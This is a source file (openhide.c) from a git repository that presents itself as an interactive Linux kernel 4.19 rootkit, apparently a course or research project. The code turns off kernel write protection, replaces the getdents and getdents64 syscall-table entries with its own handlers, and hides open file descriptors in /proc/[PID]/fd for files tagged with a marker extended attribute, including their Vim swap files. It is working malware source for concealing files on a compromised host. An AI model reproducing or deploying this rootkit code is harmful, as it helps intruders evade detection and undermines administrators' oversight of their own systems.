linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

openhide.c (5928B)


      1 #include <linux/slab.h>
      2 #include <linux/fd.h>
      3 #include <linux/fs.h>
      4 #include <linux/pid.h>
      5 #include <linux/sched.h>
      6 #include <linux/fdtable.h>
      7 #include <linux/dcache.h>
      8 #include <linux/xattr.h>
      9 #include <linux/namei.h>
     10 
     11 #include "common.h"
     12 #include "hook.h"
     13 #include "openhide.h"
     14 #include "pidhide.h"
     15 
     16 const char *dir_sep = "/";
     17 
     18 fd_list_t hidden_fds = {
     19     .fd  = -1,
     20     .prev = NULL,
     21     .next = NULL,
     22 };
     23 
     24 fd_list_t_ptr hidden_fds_tail = &hidden_fds;
     25 
     26 void
     27 hide_open(void)
     28 {
     29     if (atomic_inc_return(&getdents_install_count) == 1) {
     30         disable_protection();
     31         sys_calls[__NR_getdents] = (void *)g7_getdents;
     32         sys_calls[__NR_getdents64] = (void *)g7_getdents64;
     33         enable_protection();
     34     }
     35 }
     36 
     37 void
     38 unhide_open(void)
     39 {
     40     if (atomic_dec_return(&getdents_install_count) < 1) {
     41         if (sys_getdents) {
     42             disable_protection();
     43             sys_calls[__NR_getdents] = (void *)sys_getdents;
     44             enable_protection();
     45             while (atomic_read(&getdents_count) > 0);
     46         }
     47 
     48         if (sys_getdents64) {
     49             disable_protection();
     50             sys_calls[__NR_getdents64] = (void *)sys_getdents64;
     51             enable_protection();
     52             while (atomic_read(&getdents64_count) > 0);
     53         }
     54     }
     55 }
     56 
     57 
     58 pid_t
     59 may_fd(struct file *dirfile)
     60 {
     61     pid_t tmp = -1;
     62     char *buf;
     63 
     64     buf = kzalloc(512, GFP_KERNEL);
     65 
     66     if (dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) {
     67         //Gets the absolute path name for our string tokenization
     68         char *path = d_path(&dirfile->f_path, buf, 512);
     69 
     70         if (!IS_ERR(path)) {
     71             char *sub;
     72             char *cur = path;
     73 
     74             /**
     75              * In the correct directory, the tokens (generated with strsep)
     76              * are as follows: {NULL, proc, [PID], fd}
     77              * We also don't want the task directory, so the third
     78              * token should be _fd_, not task
     79              **/
     80             int i = 0;
     81 
     82             while ((sub = (strsep(&cur, dir_sep)))) {
     83                 switch(i++) {
     84                 case 1:
     85                     if (strcmp(sub, "proc"))
     86                         goto leave;
     87                     break;
     88                 case 2:
     89                     tmp = PID_FROM_NAME(sub);
     90                     break;
     91                 case 3:
     92                     if (!strcmp(sub, "fd")) {
     93                         kfree(buf);
     94                         return tmp;
     95                     } else
     96                         goto leave;
     97                 default:
     98                     break;
     99                 }
    100             }
    101         }
    102     }
    103 
    104 leave:
    105     kfree(buf);
    106     return 0;
    107 }
    108 
    109 int
    110 fd_callback(const void *ptr, struct file *f, unsigned fd)
    111 {
    112     struct inode *inode = f->f_inode;
    113     char *buf = kzalloc(BUFLEN, GFP_KERNEL);
    114 
    115     if (!inode_permission(inode, MAY_READ)) {
    116         ssize_t len = vfs_getxattr(f->f_path.dentry, G7_XATTR_NAME, buf, BUFLEN);
    117 
    118         if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) {
    119             add_fd_to_list(&hidden_fds, (int)fd);
    120             goto leave;
    121         }
    122 
    123         { // Rather hideous hack to account for Vim-{specific,default} swap files
    124             const char *fname = f->f_path.dentry->d_name.name;
    125 
    126             if (strlen(fname) >= 6) {
    127                 char *abs = kzalloc(BUFLEN, GFP_KERNEL);
    128 
    129                 if (strncmp(fname, ".", 1) || strncmp((fname + (strlen(fname) - 4)), ".swp", 4))
    130                     goto leave;
    131 
    132                 memset(buf, 0, BUFLEN);
    133                 strncpy(buf, (fname + 1), strlen(fname) - 5);
    134 
    135                 char *pathname = d_path(&f->f_path, abs, 512);
    136                 if (IS_ERR(pathname))
    137                     goto end;
    138 
    139                 memset((pathname + (strlen(pathname) - strlen(fname))), 0, strlen(fname));
    140                 strcat(pathname, buf);
    141 
    142                 struct path path;
    143                 if (kern_path(pathname, LOOKUP_FOLLOW, &path))
    144                     goto end;
    145 
    146                 memset(buf, 0, BUFLEN);
    147                 ssize_t len = vfs_getxattr(path.dentry, G7_XATTR_NAME, buf, BUFLEN);
    148 
    149                 if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL)))
    150                     add_fd_to_list(&hidden_fds, (int)fd);
    151 
    152 end:
    153                 kfree(abs);
    154                 goto leave;
    155             }
    156         }
    157     }
    158 
    159 leave:
    160     kfree(buf);
    161 
    162     return 0;
    163 }
    164 
    165 void
    166 fill_fds(pid_t pid)
    167 {
    168     struct pid *spid;
    169     struct task_struct *task;
    170 
    171     if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID)))
    172         return;
    173 
    174     //https://elixir.bootlin.com/linux/v4.19/source/fs/file.c#L961
    175     //Allows us to iterate over the open fds
    176     //Conveniently passes our callback a struct file * and also the fd number
    177     iterate_fd(task->files, 0, (void *)fd_callback, NULL);
    178 }
    179 
    180 void
    181 clear_hidden_fds(void)
    182 {
    183     fd_list_t_ptr i = hidden_fds_tail;
    184     while ((i = remove_fd_from_list(i, i->fd)));
    185 }
    186 
    187 bool
    188 list_contains_fd(fd_list_t_ptr list, int fd)
    189 {
    190     return !!find_fd_in_list(list, fd);
    191 }
    192 
    193 fd_list_t_ptr
    194 find_fd_in_list(fd_list_t_ptr head, int fd)
    195 {
    196     fd_list_t_ptr i;
    197     for (i = head; i; i = i->next)
    198         if (i->fd == fd)
    199             return i;
    200 
    201     return NULL;
    202 }
    203 
    204 fd_list_t_ptr
    205 add_fd_to_list(fd_list_t_ptr tail, int fd)
    206 {
    207     fd_list_t_ptr node;
    208     node = (fd_list_t_ptr)kmalloc(sizeof(fd_list_t), GFP_KERNEL);
    209 
    210     if (node) {
    211         node->fd = fd;
    212         node->next = NULL;
    213         node->prev = tail;
    214         tail->next = node;
    215         hidden_fds_tail = node;
    216         return node;
    217     }
    218 
    219     return NULL;
    220 }
    221 
    222 
    223 fd_list_t_ptr
    224 remove_fd_from_list(fd_list_t_ptr list, int fd)
    225 {
    226     fd_list_t_ptr i = find_fd_in_list(list, fd), ret = NULL;
    227 
    228     if (i && (i->fd != -1)) {
    229         if (i->next)
    230             i->next->prev = i->prev;
    231         else
    232             hidden_fds_tail = i->prev ? i->prev : &hidden_fds;
    233 
    234         if (i->prev) {
    235             i->prev->next = i->next;
    236             ret = i->prev;
    237         }
    238 
    239         kfree(i);
    240     }
    241 
    242     return ret;
    243 }